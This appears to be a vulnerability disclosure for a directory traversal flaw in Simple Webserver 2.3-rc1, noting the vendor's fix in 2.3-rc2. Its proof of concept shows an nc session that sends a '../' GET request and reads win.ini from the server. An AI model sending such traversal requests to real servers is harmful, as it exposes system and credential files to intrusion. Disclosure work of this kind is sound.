Simple Web Server 2.3-rc1 – Directory Traversal
# Exploit Title: Simple Webserver 2.3-rc1 Directory Traversal # Date: 01/02/2013 # Exploit Author: CwG GeNiuS # Vendor Homepage: http://www.pmx.it # Software Link: http://www.pmx.it/download/sws-2.3-rc1-i686.exe # Version: 2.3-rc1 (and earlier) # Tested on: Windows 7 Enterprise SP1 # #Vulnerability: When removing the preceding "/" from a GET # request the webserver allows directory # traversal. # #Fix: I have spoken with the developer who has now # released 2.3-rc2 to correct the vulnerability root@bt:~# nc -v 192.168.1.132 80 192.168.1.132: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [192.168.1.132] 80 (www) open GET ../../../../../../../../windows/win.ini http/1.1 HTTP/1.1 400 Bad Request Server: PMSoftware-SWS/2.3 Date: Wed, 02 Jan 2013 22:45:2 GMT Connection: close HTTP/1.1 200 Ok Server: PMSoftware-SWS/2.3 Date: Wed, 02 Jan 2013 22:45:2 GMT Accept-Ranges: bytes Content-type: Content-Length: 403 ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo |